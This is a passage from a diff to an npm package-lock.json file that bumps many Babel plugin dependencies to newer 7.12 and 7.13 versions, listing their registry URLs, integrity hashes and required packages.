"^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-proposal-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.8.3.tgz", - "integrity": "sha512-NyaBbyLFXFLT9FP+zk0kYlUlA8XtCUbehs67F0nnEg7KICgMc2mNkIeu9TYhKzyXMkrapZFwAhXLdnt4IYHy1w==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.13.8.tgz", + "integrity": "sha512-ONWKj0H6+wIRCkZi9zSbZtE/r73uOhMVHh256ys0UzfM7I3d4n+spZNWjOnJv2gzopumP2Wxi186vI8N0Y2JyQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-proposal-export-namespace-from": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.12.13.tgz", + "integrity": "sha512-INAgtFo4OnLN3Y/j0VwAgw3HDXcDtX+C/erMvWzuV9v71r7urb6iyMXu7eM9IgLr1ElLlOkaHjJ0SbCmdOQ3Iw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-dynamic-import": "^7.8.0" + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" } }, "@babel/plugin-proposal-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.8.3.tgz", - "integrity": "sha512-KGhQNZ3TVCQG/MjRbAUwuH+14y9q0tpxs1nWWs3pbSleRdDro9SAMMDyye8HhY1gqZ7/NqIc8SKhya0wRDgP1Q==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.13.8.tgz", + "integrity": "sha512-w4zOPKUFPX1mgvTmL/fcEqy34hrQ1CRcGxdphBc6snDnnqJ47EZDIyop6IwXzAC8G916hsIuXB2ZMBCExC5k7Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.13.8.tgz", + "integrity": "sha512-aul6znYB4N4HGweImqKn59Su9RS8lbUIqxtXTOcAGtNIDczoEFv+l1EhmX8rUBp3G1jMjKJm8m0jXVp63ZpS4A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-json-strings": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" } }, "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-TS9MlfzXpXKt6YYomudb/KU7nQI6/xnapG6in1uZxoxDghuSMZsPb6D2fyUwNYSAp4l1iR7QtFOjkqcRYcUsfw==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.13.8.tgz", + "integrity": "sha512-iePlDPBn//UhxExyS9KyeYU7RM9WScAG+D3Hhno0PLJebAEpDZMocbDe64eqynhNAnwz/vZoL/q/QB2T1OH39A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" } }, "@babel/plugin-proposal-numeric-separator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.8.3.tgz", - "integrity": "sha512-jWioO1s6R/R+wEHizfaScNsAx+xKgwTLNXSh7tTC4Usj3ItsPEhYkEpU4h+lpnBwq7NBVOJXfO6cRFYcX69JUQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.13.tgz", + "integrity": "sha512-O1jFia9R8BUCl3ZGB7eitaAPu62TXJRHn7rh+ojNERCFyqRwJMTmhz+tJ+k0CwI6CLjX/ee4qW74FSqlq9I35w==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-numeric-separator": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" } }, "@babel/plugin-proposal-object-rest-spread": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.9.6.tgz", - "integrity": "sha512-Ga6/fhGqA9Hj+y6whNpPv8psyaK5xzrQwSPsGPloVkvmH+PqW1ixdnfJ9uIO06OjQNYol3PMnfmJ8vfZtkzF+A==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.13.8.tgz", + "integrity": "sha512-DhB2EuB1Ih7S3/IRX5AFVgZ16k3EzfRbq97CxAVI1KSYcW+lexV8VZb7G7L8zuPVSdQMRn0kiBpf/Yzu9ZKH0g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-transform-parameters": "^7.9.5" + "@babel/compat-data": "^7.13.8", + "@babel/helper-compilation-targets": "^7.13.8", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.13.0" } }, "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-0gkX7J7E+AtAw9fcwlVQj8peP61qhdg/89D5swOkjYbkboA2CVckn3kiyum1DE0wskGb7KJJxBdyEBApDLLVdw==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.13.8.tgz", + "integrity": "sha512-0wS/4DUF1CuTmGo+NiaHfHcVSeSLj5S3e6RivPTg/2k3wOv3jO35tZ6/ZWsQhQMvdgI7CwphjQa/ccarLymHVA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" } }, "@babel/plugin-proposal-optional-chaining": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.9.0.tgz", - "integrity": "sha512-NDn5tu3tcv4W30jNhmc2hyD5c56G6cXx4TesJubhxrJeCvuuMpttxr0OnNCqbZGhFjLrg+NIhxxC+BK5F6yS3w==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.13.12.tgz", + "integrity": "sha512-fcEdKOkIB7Tf4IxrgEVeFC4zeJSTr78no9wTdBuZZbqF64kzllU0ybo2zrzm7gUQfxGhBgq4E39oRs8Zx/RMYQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-optional-chaining": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.13.0.tgz", + "integrity": "sha512-MXyyKQd9inhx1kDYPkFRVOBXQ20ES8Pto3T7UZ92xj2mY0EVD8oAVzeyYuVfy/mxAdTSIayOvg+aVzcHV2bn6Q==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.8.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.8.8.tgz", - "integrity": "sha512-EVhjVsMpbhLw9ZfHWSx2iy13Q8Z/eg8e8ccVWt23sWQK5l1UdkoLJPN5w69UA4uITGBnEZD2JOe4QOHycYKv8A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz", + "integrity": "sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.8", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-syntax-async-generators": { @@ -501,6 +1781,15 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, "@babel/plugin-syntax-dynamic-import": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", @@ -510,6 +1799,15 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, + "@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, "@babel/plugin-syntax-json-strings": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", @@ -520,12 +1818,21 @@ } }, "@babel/plugin-syntax-jsx": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.8.3.tgz", - "integrity": "sha512-WxdW9xyLgBdefoo0Ynn3MRSkhe5tFVxxKNVdnZSh318WrG2e2jH+E9wd/++JsqcLJZPfz87njQJ8j2Upjm0M0A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz", + "integrity": "sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-syntax-nullish-coalescing-operator": { @@ -538,12 +1845,12 @@ } }, "@babel/plugin-syntax-numeric-separator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz", - "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==", + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-syntax-object-rest-spread": { @@ -574,456 +1881,683 @@ } }, "@babel/plugin-syntax-top-level-await": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.8.3.tgz", - "integrity": "sha512-kwj1j9lL/6Wd0hROD3b/OZZ7MSrZLqqn9RAZ5+cYYsflQ9HZBIKCUkr3+uL1MEJ1NePiUbf98jjiMQSv0NMR9g==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz", + "integrity": "sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-arrow-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.8.3.tgz", - "integrity": "sha512-0MRF+KC8EqH4dbuITCWwPSzsyO3HIWWlm30v8BbbpOrS1B++isGxPnnuq/IZvOX5J2D/p7DQalQm+/2PnlKGxg==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.13.0.tgz", + "integrity": "sha512-96lgJagobeVmazXFaDrbmCLQxBysKu7U6Do3mLsx27gf5Dk85ezysrs2BZUpXD703U/Su1xTBDxxar2oa4jAGg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-async-to-generator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.8.3.tgz", - "integrity": "sha512-imt9tFLD9ogt56Dd5CI/6XgpukMwd/fLGSrix2httihVe7LOGVPhyhMh1BU5kDM7iHD08i8uUtmV2sWaBFlHVQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.13.0.tgz", + "integrity": "sha512-3j6E004Dx0K3eGmhxVJxwwI89CTJrce7lg3UrtFuDAVQ/2+SJ/h/aSFOeE6/n0WB1GsOffsJp6MnPQNQ8nmwhg==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-remap-async-to-generator": "^7.8.3" + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0" } }, "@babel/plugin-transform-block-scoped-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.8.3.tgz", - "integrity": "sha512-vo4F2OewqjbB1+yaJ7k2EJFHlTP3jR634Z9Cj9itpqNjuLXvhlVxgnjsHsdRgASR8xYDrx6onw4vW5H6We0Jmg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz", + "integrity": "sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-block-scoping": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.8.3.tgz", - "integrity": "sha512-pGnYfm7RNRgYRi7bids5bHluENHqJhrV4bCZRwc5GamaWIIs07N4rZECcmJL6ZClwjDz1GbdMZFtPs27hTB06w==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz", + "integrity": "sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "lodash": "^4.17.13" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-classes": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.9.5.tgz", - "integrity": "sha512-x2kZoIuLC//O5iA7PEvecB105o7TLzZo8ofBVhP79N+DO3jaX+KYfww9TQcfBEZD0nikNyYcGB1IKtRq36rdmg==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.13.0.tgz", + "integrity": "sha512-9BtHCPUARyVH1oXGcSJD3YpsqRLROJx5ZNP6tN5vnk17N0SVf9WCtf8Nuh1CFmgByKKAIMstitKduoCmsaDK5g==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-define-map": "^7.8.3", - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.6", - "@babel/helper-split-export-declaration": "^7.8.3", + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13", "globals": "^11.1.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-computed-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.8.3.tgz", - "integrity": "sha512-O5hiIpSyOGdrQZRQ2ccwtTVkgUDBBiCuK//4RJ6UfePllUTCENOzKxfh6ulckXKc0DixTFLCfb2HVkNA7aDpzA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.13.0.tgz", + "integrity": "sha512-RRqTYTeZkZAz8WbieLTvKUEUxZlUTdmL5KGMyZj7FnMfLNKV4+r5549aORG/mgojRmFlQMJDUupwAMiF2Q7OUg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-destructuring": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.9.5.tgz", - "integrity": "sha512-j3OEsGel8nHL/iusv/mRd5fYZ3DrOxWC82x0ogmdN/vHfAP4MYw+AFKYanzWlktNwikKvlzUV//afBW5FTp17Q==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.0.tgz", + "integrity": "sha512-zym5em7tePoNT9s964c0/KU3JPPnuq7VhIxPRefJ4/s82cD+q1mgKfuGRDMCPL0HTyKz4dISuQlCusfgCJ86HA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-dotall-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.8.3.tgz", - "integrity": "sha512-kLs1j9Nn4MQoBYdRXH6AeaXMbEJFaFu/v1nQkvib6QzTj8MZI5OQzqmD83/2jEM1z0DLilra5aWO5YpyC0ALIw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz", + "integrity": "sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-duplicate-keys": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.8.3.tgz", - "integrity": "sha512-s8dHiBUbcbSgipS4SMFuWGqCvyge5V2ZeAWzR6INTVC3Ltjig/Vw1G2Gztv0vU/hRG9X8IvKvYdoksnUfgXOEQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz", + "integrity": "sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-exponentiation-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.8.3.tgz", - "integrity": "sha512-zwIpuIymb3ACcInbksHaNcR12S++0MDLKkiqXHl3AzpgdKlFNhog+z/K0+TGW+b0w5pgTq4H6IwV/WhxbGYSjQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz", + "integrity": "sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA==", "dev": true, "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-for-of": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.9.0.tgz", - "integrity": "sha512-lTAnWOpMwOXpyDx06N+ywmF3jNbafZEqZ96CGYabxHrxNX8l5ny7dt4bK/rGwAh9utyP2b2Hv7PlZh1AAS54FQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.13.0.tgz", + "integrity": "sha512-IHKT00mwUVYE0zzbkDgNRP6SRzvfGCYsOxIRz8KsiaaHCcT9BWIkO+H9QRJseHBLOGBZkHUdHiqj6r0POsdytg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-function-name": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.8.3.tgz", - "integrity": "sha512-rO/OnDS78Eifbjn5Py9v8y0aR+aSYhDhqAwVfsTl0ERuMZyr05L1aFSCJnbv2mmsLkit/4ReeQ9N2BgLnOcPCQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz", + "integrity": "sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": 